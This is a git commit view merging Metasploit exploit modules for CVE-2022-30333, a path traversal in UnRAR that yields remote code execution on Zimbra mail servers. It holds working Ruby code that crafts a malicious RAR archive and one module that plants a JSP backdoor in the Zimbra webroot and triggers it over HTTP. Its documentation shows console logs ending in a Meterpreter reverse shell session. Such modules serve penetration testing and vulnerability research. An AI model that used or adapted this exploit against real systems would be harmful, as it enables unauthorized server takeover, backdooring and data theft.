Land #16796, Path traversal vulnerability in RARLAB UnRAR < 6.12 with Zimbra RCE module

This commit is contained in:
Christophe De La Fuente 2022-08-04 19:44:57 +02:00
commit 9c6a198453
No known key found for this signature in database
GPG Key ID: 9E350956EA00352A
5 changed files with 476 additions and 0 deletions

View File

@ -0,0 +1,62 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier). You can get the vulnerable versions here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
## Verification Steps
To generate the .rar file:
```
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
TARGET_PATH => ../../../../../../tmp/docstest.txt
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
[*] Target filename: ../../../../../../tmp/docstest.txt
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
```
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
```
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
Extracting from /home/ron/.msf4/local/payload.rar
Extracting hhgdzigwkgv OK
Extracting hhgdzigwkgv OK
All OK
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
/tmp/docstest.txt: data
```
## Options
### `FILENAME`
The filename to generate, typically it's `payload.rar` and that works fine.
### `TARGET_PATH`
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
## Scenarios
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.

View File

@ -0,0 +1,92 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
```
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
# reboot
```
And to verify:
```
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
```
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
## Verification Steps
To exploit Zimbra, first load the module and generate the .rar file:
```
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[...] waiting [...]
```
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
```
[...]
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
meterpreter > getuid
Server username: zimbra
```
## Options
### `FILENAME`
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
### `TARGET_PATH`
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
### `TARGET_FILENAME`
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
### `TRIGGER_PAYLOAD`
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
### `ListenerTimeout`
The number of seconds to wait for a new session (default = `0`, or infinite).
### `CheckInterval`
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.

View File

@ -0,0 +1,68 @@
# Encoding: ASCII-8BIT
module Msf
class Exploit
module Format
# The RarSymlinkPathTraversal mixin provides methods for generating a RAR file
# that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary
# location on a Linux filesystem
module RarSymlinkPathTraversal
# Encode arbitrary data to be extracted to an arbitrary path on versions of
# unrar that are affected by CVE-2022-30333
def encode_as_traversal_rar(symlink_name, target_path, data)
# Exactly 104 characters isn't allowed because we need to null-terminate
unless target_path.length < 104
raise ArgumentError, 'The RAR filename target is too long (max length: 103 characters)'
end
# Data and symlink_name don't need to be null-terminated, just padded
unless data.length <= 4096
raise ArgumentError, "The RAR file data is too long (max length: 4096 bytes, it was #{data.length})"
end
unless symlink_name.length <= 12
raise ArgumentError, 'The symlink is too long (max length: 12 characters)'
end
# Null terminate the path, pad with NUL bytes, and invert the slashes
symlink_target = (target_path + "\0").gsub('/', '\\')
symlink_target.concat(rand(255).chr) while symlink_target.length < 104
symlink_name = symlink_name.ljust(12, "\0")
# Pad the data to the full length
data.concat(rand(255).chr) while data.length < 4096
# Build a RAR file from pieces, filling in the blanks with our payloads.
# The RAR format is non-free (and complex), so this is the easiest way to
# build a payload file
rar = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00"
# Create the first section (with the symlink), and attach with its CRC32
rar_section1 = ''
rar_section1.concat("\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c")
rar_section1.concat(symlink_name) # Symlink filename
rar_section1.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
rar_section1.concat(symlink_target)
rar.concat([Zlib.crc32(rar_section1), rar_section1].pack('Va*'))
# Create the second section (with the data), and attach with its CRC32
rar_section2 = ''
rar_section2.concat("\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
rar_section2.concat([Zlib.crc32(data)].pack('V'))
rar_section2.concat("\x80\x00\x00\x0c")
rar_section2.concat(symlink_name) # Data filename (same as symlink to overwrite it)
rar_section2.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
rar.concat([Zlib.crc32(rar_section2), rar_section2].pack('Va*'))
rar.concat(data)
# This tail doesn't seem necessary, but I don't want to mess with it
rar.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
rar
end
end
end
end
end

View File

@ -0,0 +1,81 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Format::RarSymlinkPathTraversal
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that exploits CVE-2022-30333, which is a
path-traversal vulnerability in unRAR that can extract an arbitrary file
to an arbitrary location on a Linux system. UnRAR fixed this
vulnerability in version 6.12 (open source version 6.1.7).
The core issue is that when a symbolic link is unRAR'ed, Windows
symbolic links are not properly validated on Linux systems and can
therefore write a symbolic link that points anywhere on the filesystem.
If a second file in the archive has the same name, it will be written
to the symbolic link path.
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' => {
# The RAR file has 4096 bytes of space
'Space' => 4096
},
'Targets' => [
[ 'Generic RAR file', {} ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']),
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
]
)
end
def exploit
print_status("Target filename: #{datastore['TARGET_PATH']}")
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), datastore['TARGET_PATH'], payload.encoded)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end
file_create(rar)
end
end

View File

@ -0,0 +1,173 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::RarSymlinkPathTraversal
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that can be emailed to a Zimbra server
to exploit CVE-2022-30333. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.
The core vulnerability is a path-traversal issue in unRAR that can
extract an arbitrary file to an arbitrary location on a Linux system.
This issue is exploitable on the following versions of Zimbra, provided
UnRAR version 6.11 or earlier is installed:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
]
)
register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end
# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end
# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath
# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
relative_path = normalized_path.relative_path_from(webroot)
# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end
relative_path
end
def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end
file_create(rar)
print_good('File created! Email the file above to any user on the target Zimbra server')
# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']
# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
print_warning('Could not determine the public web path, disabling payload triggering')
return
end
register_file_for_cleanup(target_filename)
interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
Rex::ThreadSafe.sleep(interval)
end
end
end